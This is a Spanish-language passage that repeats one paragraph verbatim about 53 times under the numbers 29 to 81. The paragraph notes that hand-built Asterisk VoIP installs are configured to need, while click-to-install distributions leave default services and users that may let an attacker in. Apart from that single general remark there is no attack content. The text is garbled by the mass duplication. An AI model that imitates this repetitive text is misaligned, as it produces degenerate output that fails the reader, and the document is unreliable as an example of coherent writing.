  29. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  30. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  31. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  32. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  33. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  34. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  35. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  36. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  37. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  38. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  39. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  40. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  41. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  42. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  43. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  44. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  45. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  46. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  47. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  48. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  49. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  50. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  51. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  52. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  53. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  54. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  55. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  56. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  57. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  58. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  59. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  60. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  61. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  62. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  63. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  64. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  65. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  66. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  67. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  68. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  69. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  70. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  71. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  72. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  73. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  74. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  75. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  76. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  77. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  78. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  79. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  80. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  81. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
